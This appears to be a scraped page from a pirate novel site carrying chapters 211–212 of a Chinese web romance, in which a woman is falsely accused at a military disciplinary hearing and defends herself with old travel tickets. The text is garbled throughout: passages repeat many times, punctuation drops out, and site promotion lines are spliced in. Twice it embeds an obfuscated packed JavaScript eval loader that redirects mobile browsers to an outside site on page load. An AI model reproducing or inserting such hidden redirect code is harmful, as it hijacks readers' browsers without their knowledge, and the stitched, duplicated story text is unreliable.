“**,周主任说的没错,当时周柒柒说名声毁了活不下去,求我去帮她找沈团长‘负责’,我.是被她利用了!” “**!我哥说的对!” 许枣迫不及待地跳出来,尖利的声音在会议室里显得格外刺耳。 “周柒柒在村里就不老实!仗着有几分姿色,勾着我哥又不肯好好跟他过日子!到了省城,更是尾巴翘到天上去了!攀上了沈团长,就一脚把我哥蹬了!忘恩负义的白眼狼!**,您一定要给我们做主啊!” 这仨人,你一言我一语的,一个哭,一个悔,一个凶,编了张网,把周柒柒死死罩在里头,看着还挺像那么回事儿。 这时,周淑华重重地拍了一下桌子,痛心疾首地总结。 “**!同志们!周柒柒干的这些事,是处心积虑的算计,是借着军人的善良和责任感耍无赖!她这是败坏咱军队的名声,糟践军婚的神圣!” “我恳请**,为了军队的荣誉,为了正风气,肃军纪,一定要严肃处理这个周柒柒!绝不能轻饶了她!” 说全网首发无弹窗免费阅读caixs.com?(请来才小 说 看最新章节 完整章节) 会议室里一下子静下来,所有人的目光都聚在周柒柒身上,有审视,有怀疑,还有的,干脆就是鄙夷。 纪委**那眼神跟鹰隼似的,沉沉地压着周柒柒,声音里带着股子让人喘不过气的威压: “周柒柒同志,” 他刻意加重了“同志”二字,却透着一股冰冷的距离感。 “对于周淑华同志以及这些人证所反映的情况,你有什么要解释的吗?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 许树搓着手,耷拉着脑袋说。 “**,周主任说的没错,当时周柒柒说名声毁了活不下去,求我去帮她找沈团长‘负责’,我.是被她利用了!” “**!我哥说的对!” 许枣迫不及待地跳出来,尖利的声音在会议室里显得格外刺耳。 “周柒柒在村里就不老实!仗着有几分姿色,勾着我哥又不肯好好跟他过日子!到了省城,更是尾巴翘到天上去了!攀上了沈团长,就一脚把我哥蹬了!忘恩负义的白眼狼!**,您一定要给我们做主啊!” 这仨人,你一言我一语的,一个哭,一个悔,一个凶,编了张网,把周柒柒死死罩在里头,看着还挺像那么回事儿。 这时,周淑华重重地拍了一下桌子,痛心疾首地总结。 “**!同志们!周柒柒干的这些事,是处心积虑的 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“周柒柒在村里就不老实!仗着有几分姿色,勾着我哥又不肯好好跟他过日子!到了省城,更是尾巴翘到天上去了!攀上了沈团长,就一脚把我哥蹬了!忘恩负义的白眼狼!**,您一定要给我们做主啊!” 这仨人,你一言我一语的,一个哭,一个悔,一个凶,编了张网,把周柒柒死死罩在里头,看着还挺像那么回事儿。 这时,周淑华重重地拍了一下桌子,痛心疾首地总结。 “**!同志们!周柒柒干的这些事,是处心积虑的算计,是借着军人的善良和责任感耍无赖!她这是败坏咱军队的名声,糟践军婚的神圣!” “我恳请**,为了军队的荣誉,为了正风气,肃军纪,一定要严肃处理这个周柒柒!绝不能轻饶了她!” 会议室里一下子静下来,所有人的目光都聚在周柒柒身上,有审视,有怀疑,还有的,干脆就是鄙夷。 纪委**那眼神跟鹰隼似的,沉沉地压着周柒柒,声音里带着股子让人喘不过气的威压: “周柒柒同志,” 他刻意加重了“同志”二字,却透着一股冰冷的距离感。 “对于周淑华同志以及这些人证所反映的情况,你有什么要解释的吗?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 许树搓着手耷拉着脑袋说。 “**周主任说的没错当时周柒柒说名声毁了活不下去求我去帮她找沈团长‘负责’我.是被她利用了!” “**!我哥说的对!” 许枣迫不及待地跳出来尖利的声音在会议室里显得格外刺耳。 “周柒柒在村里就不老实!仗着有几分姿色勾着我哥又不肯好好跟他过日子!到了省城更是尾巴翘到天上去了!攀上了沈团长就一脚把我哥蹬了!忘恩负义的白眼狼!**您一定要给我们做主啊!” 这仨人你一言我一语的一个哭一个悔一个凶编了张网把周柒柒死死罩在里头看着还挺像那么回事儿。 这时周淑华重重地拍了一下桌子痛心疾首地总结。 “**!同志们!周柒柒干的这些事是处心积虑的算计是借着军人的善良和责任感耍无赖!她这是败坏咱军队的名声糟践军婚的神圣!” “我恳请**为了军队的荣誉为了正风气 会议室里一下子静下来所有人的目光都聚在周柒柒身上有审视有怀疑还有的干脆就是鄙夷。 纪委**那眼神跟鹰隼似的沉沉地压着周柒柒声音里带着股子让人喘不过气的威压: “周柒柒同志” 他刻意加重了“同志”二字却透着一股冰冷的距离感。 “对于周淑华同志以及这些人证所反映的情况你有什么要解释的吗?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 许树搓着手耷拉着脑袋说。 “**周主任说的没错当时周柒柒说名声毁了活不下去求我去帮她找沈团长‘负责’我.是被她利用了!” “**!我哥说的对!” 许枣迫不及待地跳出来尖利的声音在会议室里显得格外刺耳。 “周柒柒在村里就不老实!仗着有几分姿色勾着我哥又不肯好好跟他过日子!到了省城更是尾巴翘到天上去了!攀上了沈团长就一脚把我哥蹬了!忘恩负义的白眼狼!**您一定要给我们做主啊!” 这仨人 这时周淑华重重地拍了一下桌子痛心疾首地总结。 “**!同志们!周柒柒干的这些事是处心积虑的算计是借着军人的善良和责任感耍无赖!她这是败坏咱军队的名声糟践军婚的神圣!” “我恳请**为了军队的荣誉为了正风气肃军纪一定要严肃处理这个周柒柒!绝不能轻饶了她!” 会议室里一下子静下来所有人的目光都聚在周柒柒身上有审视有怀疑还有的干脆就是鄙夷。 纪委**那眼神跟鹰隼似的沉沉地压着周柒柒声音里带着股子让人喘不过气的威压: “周柒柒同志” 他刻意加重了“同志”二字却透着一股冰冷的距离感。 “对于周淑华同志以及这些人证所反映的情况你有什么要解释的吗?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第211章 诬告 会议室里静得吓人,周淑华那通“大义凛然”的指控刚撂下,许家那仨人的“证词”也跟唱戏似的演完了,那气氛压得人喘不过气。 一道道目光,跟小刀子似的,全扎在周柒柒身上。 可周柒柒呢? 脸上一点慌影子都瞧不见,反倒像是早就料到有这一出。 她嘴角甚至还挂着一丝“果然来了”的冷笑。 **那带着冰碴子的问话刚砸下来,她没急着喊冤,也没被那阵势吓住。 只是不慌不忙地拉开了自己随身布包的拉链。 从包里摸出个旧信封,打开来,里头抖搂出几张旧巴巴的车票、纸片片。 “**,各位委员,” 周柒柒的声音清晰而稳定,在这寂静的会议室里格外分明, “她们编这故事,听着是挺唬人。可惜啊,算漏了一样东西——时间!” 她手指头利落地从信封里捻出几张票根,一张张摊开在桌面上。 “这张,” 她拿起一张皱巴巴的长途汽车票, “镇上到城里的汽车票,早上九点发车,下午四点半到汽车站。” “这张,” 又拿起一张火车票, “汽车站下来,紧赶着坐的这趟五点十分的火车,六点十五分到的省城火车站。” 最后,她亮出一张盖着红戳的火车站凭证。 “喏,出站时间,六点十五分左右。” 她把这几张旧票往前推了推,眼睛直直看向**。 “**,这就是我那天进省城的全部脚程,出了火车站,天都擦黑了,我直接就去了和许树说好见面的招待所。” 她顿了顿,眼神扫过对面脸色开始发僵的林瑶、许树和周淑华,话里带了点嘲讽。 “从火车站走到招待所,磨蹭了一个多钟头,到那儿天都黑透了,没到十分钟,就紧接着发生了‘捉奸’时间。” 周柒柒的目光扫过对面脸色开始变得难看的林瑶、许树和周淑华,最后回到**身上。 “**,各位领导,你们给评评理!总共就这一个多钟头,我还得问路、赶路,连水都顾不上喝,我哪来的空子,像周主任说的那样,先去四处‘打听’沈团长住哪屋,再费心思琢磨怎 么‘捉奸’?时间它压根儿就对不上! 她的声音不高,却字字清晰,如同投入死水的石子,激起了层层涟漪。 纪委**眉头紧锁。 他盯着周柒柒,又看看桌上那几张旧票根,没吭声,朝门口站着的警卫员抬了抬下巴颏。 警卫员立刻上前,小心地把那几张票收拢好,送到**面前。 **拿起票,一张张翻来覆去地看,手指头摩挲着票面上的字儿和红戳,看得格外仔细。 沈淮川紧攥的拳头悄悄松开了点,看着周柒柒,眼底是压不住的亮光和自豪——他媳妇儿,真行! 周柒柒的目光也心有灵犀地看向沈淮川,眨了眨眼,嘴角噙着一丝得意的笑容。 **反复核对着票面上的日期、时间和地点,眉头越皱越紧。 他抬起眼,那眼神跟刀子似的,不再是之前的冰冷,而是带着沉甸甸的疑惑和审视,挨个刮过林瑶、许树和周淑华的脸。 “这些,你们怎么解释? 压力一下子全压到了告状的那边。 林瑶、许树的脸色瞬间变了,眼神闪烁,她们谁都没想到,周柒柒居然会保留三个多月前的车票! “这……这车票…… 许枣最先反应过来,试图质疑, “**,这车票是真的吗?时间过去这么久,会不会…… 许树像是抓住了救命稻草,连忙结结巴巴地附和。 “对,对!**,也…也许她提前坐别的车次,买了好多张火车票也不一定呢! 不等别人说话,周淑华就摇了摇头道。 “**,这可能性太小了!她一个乡下丫头,出门全靠村里开的介绍信,车站售票员不会由着她挑三拣四买好几趟车,再说了,车票钱也不便宜。 她虽然认定了周柒柒有问题,但是在这些常识上还是讲理的。 只有林瑶,迅速从慌乱中强行镇定下来,她迅速找到了另一个突破口,急切地说道。 “**!就算她六点多到火车站,那也不能说明啥!从火车站到招待所,坐公交车才一毛五分钱!多快多方便,二十分钟撑**!谁会放着车不坐,傻乎乎地走一个多钟头? 她越说越兴奋,拍了拍手。 “对!没错!她肯定是提前坐车过去的!真要存了坏心这一个钟头还不够她使坏的?领导们可千万别被她糊弄了!” 林瑶这话透着股子“何不食肉糜”的味儿。 周柒柒一听直接给气笑了毫不客气地怼回去。 “林瑶同志您这位千金小姐怕是不知道地里刨食的苦吧?一毛五分钱在您眼里屁都不是但是在农民眼里那能买半斤盐够一家人吃好些日子!能省为啥不省?走路咋了?费鞋不费钱!” 虽然周柒柒不认可原身这种吃苦的行为但是她还是可以理解的。 她大学生刚毕业那会好不容易找了个工作实习的时候一个月挣两千块也不舍得花十五块钱打车。 对穷人来说省下的就是挣下的。 这话糙理不糙砸在地上当当响。 她话音一落坐在**后头一个一直没吱声的委员点了点头开口了声音挺实在。 “周柒柒同志这话在理城里青工一个月挣二三十块舍不得坐车的都大有人在骑个破自行车或者干脆走路的多了去了农民更不易一分钱恨不得掰成两半花为省一毛五走一个钟头太正常了照这时间算周柒柒同志确实腾不出手干别的。” 这话算是给周柒柒撑了腰也引起了后头几个委员的共鸣大家纷纷点头。 “是啊!” “就是的!” 可坐在**左手边的一个副**却皱起了眉一脸的不信邪看周柒柒的眼神还是带着钩子。 “林瑶同志说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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**目光沉沉地在周柒柒脸上停了几秒,又看了看桌上那几张旧车票,最后环视了一圈表情各异的委员,缓缓开了口,声音不高,却带着不小的分量。 “周柒柒同志的话,有道理。查案子,得讲证据,看事实。光凭一封**和许家这三张嘴,关键的时间点还对不上茬儿,又没别的硬东西佐证,确实定不了周柒柒同志的罪。” 听到**拍板,周柒柒心里那根绷得快断了的弦,终于“嗡”地一声松了下来。 一股劲儿泄掉,后背差点冒出冷汗。 还好,这**看着凶,办事还算公道,不亏是能当上领导的。 她下意识地看向沈淮川,他也正深深地看着她,铁青的脸色缓了些,眼里是满满的担心和藏不住的骄傲。 两人眼神一对,啥都不用说了。 都感觉这事儿完了,却没想到—— “谁说我们没别的证据的!**!我们有人证!” 第212章 在我爱人面前,一文不值! 周柒柒刚放下去的心,被林瑶这突如其来、斩钉截铁的一句“人证”猛地又提溜到了嗓子眼! 沈淮川刚缓和的脸色也瞬间再次紧绷。 会议室里一片哗然,嗡嗡的议论声又起来了。 纪委**眉头微皱,倒是神色泰然,沉声问:“人证?什么人证?在哪里?” 林瑶像是终于等到了这一刻,脸上带着一种近乎亢奋的得意。 “**!人证在省城!是招待所的前台服务员,林小惠!她和周柒柒无冤无仇,总不会平白无故冤枉她吧?” 她说着,从随身的挎包里摸出一张叠起来的信纸, “这是林小惠亲笔写的证词!她工作忙,一时来不了,但写了这个!还说如果需要,随时可以打电话对质,甚至亲自跑一趟也行!” **示意警卫员把信拿过去。 他接过来,展开一看,眉头皱得更深了。 那字写得歪歪扭扭,像蚯蚓爬,还夹杂着不少错别字,还有一个个黑团团。 **看了两眼就感觉眼晕,直接递给了旁边一个年轻点的文书:“你念。” 文书接过信,清了清嗓子,磕磕巴巴地念起来: “敬……敬爱的领导……我叫林小惠,是省……省军区招待所前台……那天晚上……是我值班……” 文书念得费劲,下面的人听得更费劲,脑瓜子嗡嗡的,但大意总算是明白了。 林小惠的证词,大意是说,当天晚上,周柒柒早早就到招待所了,问她许树在哪个屋,她说了是6号房。 但是周柒柒一直不过去,而是磨磨蹭蹭的在走廊里瞎转悠半天,最后不知道怎么,就推开了9号房的房门。 9号房住的正是沈淮川,刚入住没多久,还问了他热水的事儿,估摸着这会儿正在屋里洗澡呢。 林小惠一看,坏了! 赶紧就跑过去拦着,但是没拦住,眼睁睁看着周柒柒直奔浴室过去了。 然后沈淮川听见动静出来,周柒柒直接就往沈淮川怀里扑。 那心思.是再明摆不过了! 林小惠可是全程都看得真真得! 听完这证词,众人的脸色都变了。 尤其是副**,猛地一拍桌子,震得桌上茶杯都跳起来了,怒 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在你还想狡辩?!你这个.这个” 他气得一时找不到合适的词手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠妥妥的诬陷! 她脑子里飞快地转着调动着原身那晚模糊的记忆碎片。 “**” 周柒柒强迫自己冷静声音带着点被冤枉的急切 “她说谎!那天我到了招待所前台那个叫林小惠的正捧着一本小说看得入迷头都不抬!看我穿得土气问许树住哪 她顿了顿努力回忆当时混乱的细节。 “我刚走到一个拐角不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住直接就摔进旁边开着门的房间里了!我当时人都摔懵了啥都不知道!根本不是像她说的那样故意进去更不是什么直奔浴室!” 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了!” 许树和许枣也跟着起哄。 “就是!太假了!”“分明就是狡辩!” **王**和那几个偏向周淑华的委员也纷纷摇头脸上写着“不信”两个大字。 “这解释太牵强了!”“站不住脚!” 众人的指责像是一把把刀子一样扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时一直强压着怒火的沈淮川猛地站起身“**!我有话说!” “淮川哥!” 林瑶立刻带着哭腔喊试图阻止 “你别被她迷住了!她就是狐狸精把你魂都勾走了!你说话要负责啊!” 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗组织正在调查!你身为当事人要避嫌!再这样干扰调查连你一起处理!你好不容易拼出来的前程难道要为了这么个女人毁于一旦吗?!想想你的身份!” 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样别怪我们不客气!因小失大葬送前途值吗?!” 沈淮川却像没听见他站得笔直如同一杆标枪目光锐利如刀扫过林瑶和周淑华。 最后定定地看向**声音斩钉截铁带着一股豁出去的决绝。 “什么前途地位?在我爱人面前一文不值!大不了我沈淮川这个团长不干了去军区大门口站岗!但我今天必须把话说清楚!” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 她脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在你还想狡辩?!你这个.这个” 他气得一时找不到合适的词手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠妥妥的诬陷! 她脑子里飞快地转着调动着原身那晚模糊的记忆碎片。 “**” 周柒柒强迫自己冷静声音带着点被冤枉的急切 “她说谎!那天我到了招待所前台那个叫林小惠的正捧着一本小说看得入迷头都不抬!看我穿得土气问许树住哪她爱答不理地随手一指根本没明确说几号房!那招待所走廊七拐八绕房间号跳着排我一个乡下丫头头回进这种地方跟进了迷宫似的!我根本就没想去哪个房间是想找人再问问清楚!” 她顿了顿努力回忆当时混乱的细节。 “我刚走到一个拐角不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住直接就摔进旁边开着门的房间里了!我当时人都摔懵了啥都不知道!根本不是像她说的那样故意进去更不是什么直奔浴室!” 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了!” 许树和许枣也跟着起哄。 “就是!太假了!”“分明就是狡辩!” **王**和那几个偏向周淑华的委员也纷纷摇头脸上写着“不信”两个大字。 “这解释太牵强了!”“站不住脚!” 众人的指责像是一把把刀子一样扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时一直强压着怒火的沈淮川猛地站起身“**!我有话说!” “淮川哥!” 林瑶立刻带着哭腔喊试图阻止 “你别被她迷住了!她就是狐狸精把你魂都勾走了!你说话要负责啊!” 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗组织正在调查!你身为当事人要避嫌!再这样干扰调查连你一起处理!你好不容易拼出来的前程难道要为了这么个女人毁于一旦吗?!想想你的身份!” 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样别怪我们不客气!因小失大葬送前途值吗?!” 沈淮川却像没听见他站得笔直如同一杆标枪目光锐利如刀扫过林瑶和周淑华。 最后定定地看向** “什么前途地位?在我爱人面前一文不值!大不了我沈淮川这个团长不干了去军区大门口站岗!但我今天必须把话说清楚!” 你的朋友正在书荒,快去帮帮他吧 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 她脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了!“分明就是狡辩! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 她脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了!“分明就是狡辩! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010678|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了!“分明就是狡辩! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 她脑子里飞快地转着,调动着原身那晚模糊的记忆碎片。 “**, 周柒柒强迫自己冷静,声音带着点被冤枉的急切, “她说谎!那天我到了招待所,前台那个叫林小惠的,正捧着一本小说看得入迷,头都不抬!看我穿得土气,问许树住哪,她爱答不理地随手一指,根本没明确说几号房!那招待所走廊七拐八绕,房间号跳着排,我一个乡下丫头,头回进这种地方,跟进了迷宫似的!我根本就没想去哪个房间,是想找人再问问清楚! 她顿了顿,努力回忆当时混乱的细节。 “我刚走到一个拐角,不知道被谁从背后狠狠推了一把!力气特别大!我整个人根本站不住,直接就摔进旁边开着门的房间里了!我当时人都摔懵了,啥都不知道!根本不是像她说的那样故意进去,更不是什么直奔浴室! 林瑶立刻尖声反驳。 “周柒柒!你刚才不是挺能说的吗?巧舌如簧!现在被戳穿了,就一句‘不知道’‘被推的’就想糊弄过去?你骗谁呢!这借口也太假了! 许树和许枣也跟着起哄。 “就是!太假了!“分明就是狡辩! **王**和那几个偏向周淑华的委员也纷纷摇头,脸上写着“不信两个大字。 “这解释太牵强了!“站不住脚! 众人的指责像是一把把刀子一样,扎向周柒柒的心窝。 似乎又一次将她定罪了一般。 就在这时,一直强压着怒火的沈淮川猛地站起身,“**!我有话说! “淮川哥! 林瑶立刻带着哭腔喊,试图阻止, “你别被她迷住了!她就是狐狸精,把你魂都勾走了!你说话要负责啊! 周淑华也厉声道。 “沈淮川!刚才**不是谁过了吗,组织正在调查!你身为当事人要避嫌!再这样干扰调查,连你一起处理!你好不容易拼出来的前程,难道要为了这么个女人毁于一旦吗?!想想你的身份! 王**更是疾言厉色。 “沈淮川!坐下!现在是调查你的问题!你再这样,别怪我们不客气!因小失大,葬送前途,值吗?! 沈淮川却像没听见,他站得笔直,如同一杆标枪,目光锐利如刀,扫过林瑶和周淑华。 最后定定地看向**,声音斩钉截铁,带着一股豁出去的决绝。 “什么前途地位?在我爱人面前,一文不值!大不了,我沈淮川这个团长不干了,去军区大门口站岗!但我今天必须把话说清楚! 你的朋友正在书荒,快去帮帮他吧 火直指周柒柒: “周柒柒!你还有什么话要说的?!事实已经很清楚了!人证物证俱在,你还想狡辩?!你这个.这个 他气得一时找不到合适的词,手指头不停抖着。 周柒柒确实没料到对方还有这一招! 这林小惠,妥妥的诬陷! 